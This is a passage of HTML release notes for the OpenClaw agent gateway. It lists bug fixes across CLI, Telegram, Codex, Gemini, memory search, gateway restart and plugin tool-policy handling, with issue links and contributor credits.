<li>CLI/doctor: seed Control UI allowed origins when migrating legacy non-loopback gateway bind host aliases like <code>0.0.0.0</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465089879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83286" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83286/hovercard" href="https://github.com/openclaw/openclaw/issues/83286">#83286</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>CLI/plugins: ship the bundled memory CLI as a package entry so package-installed <code>openclaw memory</code> commands register correctly.</li>
<li>CLI/update: defer doctor-time plugin package installs during package swaps and seed post-core repair from the updated install registry, preventing duplicate reinstall failures.</li>
<li>CLI/update: preserve old-parent-readable config metadata during legacy package handoffs, fall back only to official <code>@openclaw/*</code> npm plugin packages when ClawHub plugin artifacts are unavailable, and keep managed service package roots authoritative during updates.</li>
<li>Feishu: detect SecretRef top-level credentials as a configured default account instead of treating object-backed app secrets as missing.</li>
<li>Gateway/restart: keep ordinary unmanaged SIGUSR1/config restarts in-process instead of detach-spawning an orphaned child, preserving custom supervisor PID tracking while leaving update restarts on the fresh-process path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250873603" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65668" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65668/hovercard" href="https://github.com/openclaw/openclaw/issues/65668">#65668</a>.</li>
<li>CLI/completion: resolve concrete PowerShell profile paths and reload commands during setup and doctor completion installation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066360712" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44296" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44296/hovercard" href="https://github.com/openclaw/openclaw/issues/44296">#44296</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463206646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83059/hovercard" href="https://github.com/openclaw/openclaw/pull/83059">#83059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yu-xin-c/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yu-xin-c">@yu-xin-c</a>.</li>
<li>Telegram: keep isolated long polling below the hard <code>getUpdates</code> request guard so idle bot accounts with high <code>timeoutSeconds</code> do not false-disconnect and restart-loop. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464939101" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83264" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83264/hovercard" href="https://github.com/openclaw/openclaw/issues/83264">#83264</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/riccodecarvalho/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/riccodecarvalho">@riccodecarvalho</a>.</li>
<li>Providers/Google: preserve and recover Gemini 3 tool-call thought signatures during native replay so function-calling turns no longer fail with missing <code>thought_signature</code> 400s. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4336919838" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72879/hovercard" href="https://github.com/openclaw/openclaw/issues/72879">#72879</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416318334" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80358" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80358/hovercard" href="https://github.com/openclaw/openclaw/pull/80358">#80358</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</li>
<li>Telegram: skip transcript-only delivery mirrors and gateway-injected rows when resolving latest assistant text, preventing retained previews from replacing final replies with stale fragments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463981517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83159" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83159/hovercard" href="https://github.com/openclaw/openclaw/issues/83159">#83159</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465564203" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83362" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83362/hovercard" href="https://github.com/openclaw/openclaw/pull/83362">#83362</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Memory/QMD: keep lexical search on raw hyphenated queries while normalizing semantic QMD sub-searches, avoiding fallback to the builtin index for dashed identifiers and dates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4435810897" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81328" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81328/hovercard" href="https://github.com/openclaw/openclaw/issues/81328">#81328</a>.</li>
<li>Memory-core: distinguish sqlite-vec load failures from missing semantic vector embeddings in degraded <code>memory index</code> warnings, so vector recall diagnostics point at unresolved dimensions instead of blaming sqlite-vec when the store is ready. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364260496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75624" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75624/hovercard" href="https://github.com/openclaw/openclaw/issues/75624">#75624</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463181130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83056" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83056/hovercard" href="https://github.com/openclaw/openclaw/pull/83056">#83056</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xuruiray/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xuruiray">@xuruiray</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noah3521/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noah3521">@Noah3521</a>.</li>
<li>Agents/subagents: preserve sandbox-peer controller ownership while routing completion announcements back to the originating run session, keeping subagent control and completion delivery scoped correctly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415216120" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80201" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80201/hovercard" href="https://github.com/openclaw/openclaw/issues/80201">#80201</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415551739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80242/hovercard" href="https://github.com/openclaw/openclaw/pull/80242">#80242</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jerry-Xin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jerry-Xin">@Jerry-Xin</a>.</li>
<li>Gateway: continue restarting remaining channels when one hot-reload channel restart fails, while still reporting aggregate reload failure and rolling back plugin pre-replace stops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463173969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83054" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83054/hovercard" href="https://github.com/openclaw/openclaw/issues/83054">#83054</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</li>
<li>Gateway/plugins: bind admin HTTP RPC dispatch to the accepting gateway instance so multi-gateway processes cannot execute plugin HTTP control-plane calls against another live gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466988696" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83486" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83486/hovercard" href="https://github.com/openclaw/openclaw/issues/83486">#83486</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466988915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83487/hovercard" href="https://github.com/openclaw/openclaw/pull/83487">#83487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</li>
<li>Telegram: keep hot-reload restarts from marking polling accounts manually stopped and restart isolated ingress cleanly after worker shutdown, preserving Telegram replies across config reloads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462834253" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83008" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83008/hovercard" href="https://github.com/openclaw/openclaw/issues/83008">#83008</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466042128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83410" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83410/hovercard" href="https://github.com/openclaw/openclaw/pull/83410">#83410</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram/Ollama: pass current Telegram image attachments into native PI/Ollama vision turns so live photo prompts reach Ollama as native images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462984078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83023" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83023/hovercard" href="https://github.com/openclaw/openclaw/issues/83023">#83023</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467422495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83516/hovercard" href="https://github.com/openclaw/openclaw/pull/83516">#83516</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Gateway/secrets: split the lightweight secrets runtime state and auth-store cache from the full secrets runtime and take a startup fast path when the gateway startup config has no SecretRef values, speeding up secrets startup while preserving cleanup and refresh semantics.</li>
<li>Codex app-server: rotate oversized native Codex threads before resume and cap dynamic tool-result text entering native Codex sessions, preventing stale oversized context from surviving OpenClaw compaction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462638811" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82981" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82981/hovercard" href="https://github.com/openclaw/openclaw/pull/82981">#82981</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hansolo949/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hansolo949">@hansolo949</a>.</li>
<li>Gateway/restart: drain pending replies and active chat runs during restart shutdown before sockets and channels close, aborting timed-out chat runs through the normal cleanup path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4292354940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69121" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69121/hovercard" href="https://github.com/openclaw/openclaw/pull/69121">#69121</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexlomt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexlomt">@alexlomt</a>.</li>
<li>Agents/Codex: use the Codex runtime context window for OpenAI-model preflight compaction and memory flush checks, so GPT-5.5 Codex sessions compact before hitting the smaller native context limit. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462658403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82982" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82982/hovercard" href="https://github.com/openclaw/openclaw/issues/82982">#82982</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vliuyt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vliuyt">@vliuyt</a>.</li>
<li>QA-Lab: clean orphaned gateway temp roots when a suite parent exits and wait on gateway plus transport readiness after config restarts, reducing stale <code>qa-channel</code> noise from interrupted runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249469816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65506" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65506/hovercard" href="https://github.com/openclaw/openclaw/issues/65506">#65506</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: wake qa-bus long polls that arrive with stale future cursors after a bus restart, preserving reconnect readiness for harness clients. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268454103" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67142" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67142/hovercard" href="https://github.com/openclaw/openclaw/pull/67142">#67142</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</li>
<li>QA-Lab: stage Multipass transfer scripts under OpenClaw's preferred temp root instead of raw OS temp paths, keeping the VM runner inside temp-path guardrails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236737157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64098" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64098/hovercard" href="https://github.com/openclaw/openclaw/pull/64098">#64098</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ImLukeF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ImLukeF">@ImLukeF</a>.</li>
<li>Agents/replies: keep surviving reply media and append a warning when other media references fail, so partial media normalization no longer drops failures silently. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jerry-Xin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jerry-Xin">@Jerry-Xin</a>.</li>
<li>Config/models: accept <code>thinkingFormat: "together"</code> in model compat config so Together routes can opt into the Together-specific thinking response shape.</li>
<li>Plugins/tokenjuice: bump the bundled tokenjuice runtime to 0.7.1, bringing Codex hook approval compatibility, pre-tool command wrapping fixes, and Rolldown/Vitest output compaction improvements into the OpenClaw plugin.</li>
<li>Agents/OpenAI: stop post-processing GPT-5 final replies with hardcoded brevity caps, preserving full channel responses instead of appending synthetic ellipses, and log when strict-agentic GPT-5 execution activates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462335362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82910" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82910/hovercard" href="https://github.com/openclaw/openclaw/issues/82910">#82910</a>.</li>
<li>Mac app: refine the Settings General and Connection panes with cleaner status panels, card rows, and a single native titlebar sidebar toggle.</li>
<li>Agents/media: deliver failed async image, music, and video generation completions directly when requester-session completion handoff fails, so channel users see provider errors instead of silent fallback stalls.</li>
<li>Browser/CDP: keep loopback proxy bypass active across both <code>NO_PROXY</code> casings and redact home-relative Chrome MCP profile paths in attach-failure diagnostics.</li>
<li>Agents/music: steer song, jingle, beat, anthem, and instrumental requests toward <code>music_generate</code> audio creation instead of lyric-only replies, and reserve <code>lyrics</code> for exact sung words.</li>
<li>Codex app-server: record native Codex tool calls and results into trajectory artifacts so debug/trajectory exports capture the full Codex-native tool history, not just OpenClaw-bridged turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Codex/app-server: keep bound conversation sessions on the owning agent runtime so native Codex control and follow-up turns do not fall back to the default agent client. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462465085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82954" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82954/hovercard" href="https://github.com/openclaw/openclaw/issues/82954">#82954</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462724002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82993/hovercard" href="https://github.com/openclaw/openclaw/pull/82993">#82993</a>)</li>
<li>CLI/infer: run gateway model probes in fresh explicit sessions so one-shot provider checks do not inherit default agent transcript state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462127302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82861/hovercard" href="https://github.com/openclaw/openclaw/pull/82861">#82861</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Providers/Together: send video-generation requests to Together's v2 video API even when shared text-model config still points at the v1 base URL. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462711627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82992/hovercard" href="https://github.com/openclaw/openclaw/pull/82992">#82992</a>)</li>
<li>Browser CLI: preserve browser-level options on nested commands, skip option values during lazy command registration, and keep long-running wait/download/dialog hooks open for their advertised wait window.</li>
<li>CLI/sessions: accept <code>openclaw sessions list</code> as an alias for <code>openclaw sessions</code>, matching other list-style commands. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432233621" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81139" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81139/hovercard" href="https://github.com/openclaw/openclaw/issues/81139">#81139</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432597965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81163" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81163/hovercard" href="https://github.com/openclaw/openclaw/pull/81163">#81163</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YB0y/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YB0y">@YB0y</a>.</li>
<li>Channels/stream previews: widen compact progress draft lines and cut prose at word boundaries while preserving command/path suffixes, with <code>streaming.progress.maxLineChars</code> for channel-specific tuning.</li>
<li>CLI/plugins: have <code>openclaw plugins doctor</code> warn when a configured runtime needs a missing owner plugin, sharing the same install mapping as <code>openclaw doctor --fix</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4435782026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81326" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81326/hovercard" href="https://github.com/openclaw/openclaw/issues/81326">#81326</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4443400168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81674" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81674/hovercard" href="https://github.com/openclaw/openclaw/pull/81674">#81674</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zavianx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zavianx">@Zavianx</a>.</li>
<li>Agents/Codex: route OpenAI runs that resolve to <code>openai-codex</code> through the Codex provider and bootstrap OpenClaw's stored OAuth profile into the Codex harness when the harness owns transport, so <code>openai/*</code> model refs no longer fail with <code>No API key found for openai-codex</code> despite an existing Codex OAuth profile. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462142665" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82864" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82864/hovercard" href="https://github.com/openclaw/openclaw/pull/82864">#82864</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ragesaq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ragesaq">@ragesaq</a>.</li>
<li>Agents/ACP: distinguish prompt-submitted and runtime-active child stalls from true interactive waits, including redacted proxy-env diagnostics for Codex ACP no-output runs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4069428847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44810" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44810/hovercard" href="https://github.com/openclaw/openclaw/issues/44810">#44810</a>.</li>
<li>Agents/memory: explain that memory-triggered compaction exposes only <code>read</code> and append-only <code>write</code> when configured core tools are unavailable in <code>tools.allow</code> warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462438972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82941" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82941/hovercard" href="https://github.com/openclaw/openclaw/issues/82941">#82941</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>Agents/OpenAI: preserve deterministic tool payload ordering for prompt-cache reuse across OpenAI Responses and chat completions calls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462435142" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82940" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82940/hovercard" href="https://github.com/openclaw/openclaw/pull/82940">#82940</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>ACP/Codex: honor terminal ACP turn results so failed Codex/acpx runs are not recorded as successful after only progress text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409392717" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79522" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79522/hovercard" href="https://github.com/openclaw/openclaw/issues/79522">#79522</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dudaefj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dudaefj">@dudaefj</a>.</li>
<li>Telegram: warn when a media group drops photos that fail to download, including albums where every photo is skipped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4144617570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55216" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55216/hovercard" href="https://github.com/openclaw/openclaw/issues/55216">#55216</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462674675" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82987" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82987/hovercard" href="https://github.com/openclaw/openclaw/pull/82987">#82987</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eldar702/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eldar702">@eldar702</a>.</li>
<li>Agents/skills: apply the full effective tool policy pipeline to inline <code>command-dispatch: tool</code> skill dispatch before owner-only filtering, preserving configured allow, deny, sandbox, sender, group, and subagent restrictions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392543885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78525" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78525/hovercard" href="https://github.com/openclaw/openclaw/pull/78525">#78525</a>)</li>
<li>Codex: avoid spawning native hook relay subprocesses for post-tool/finalize events with no registered hook handlers while preserving pre-tool safety and approval relays. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371228983" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76552" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76552/hovercard" href="https://github.com/openclaw/openclaw/issues/76552">#76552</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386233442" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78004/hovercard" href="https://github.com/openclaw/openclaw/pull/78004">#78004</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evgyur/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evgyur">@evgyur</a>.</li>
<li>Channel accounts: keep top-level default channel accounts visible when named accounts are added alongside default credential material, so mixed legacy/new account configs keep resolving <code>default</code> instead of silently dropping it.</li>
<li>Agents/CLI: reject empty successful CLI subprocess replies as <code>empty_response</code> and keep them out of shared auth-profile health, so blank Claude CLI results no longer become green no-payload turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464556593" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83231" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83231/hovercard" href="https://github.com/openclaw/openclaw/issues/83231">#83231</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466129017" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83421" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83421/hovercard" href="https://github.com/openclaw/openclaw/pull/83421">#83421</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex/Telegram: synthesize native Codex tool progress from final turn snapshots so Telegram <code>/verbose</code> stays visible when command events arrive only at completion.</li>
<li>Codex/Telegram: deliver Codex verbose tool summaries in direct message-tool-only turns while suppressing message-send and activity-log noise. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464160180" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83186" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83186/hovercard" href="https://github.com/openclaw/openclaw/pull/83186">#83186</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>Mac app: make Channels settings open faster by deferring config-schema work, avoiding startup channel probes, caching decoded channel status rows, and showing only compact quick settings instead of the full generated channel schema.</li>
<li>Control UI: include the Control UI and Gateway protocol versions in protocol-mismatch errors so stale app/dashboard pairings identify which side needs rebuilding or restarting.</li>
<li>Gateway/protocol: restore Gateway WS protocol v4 and keep <code>message.action</code> room-event metadata on the existing <code>inboundTurnKind</code> wire field while preserving internal inbound-event classification.</li>
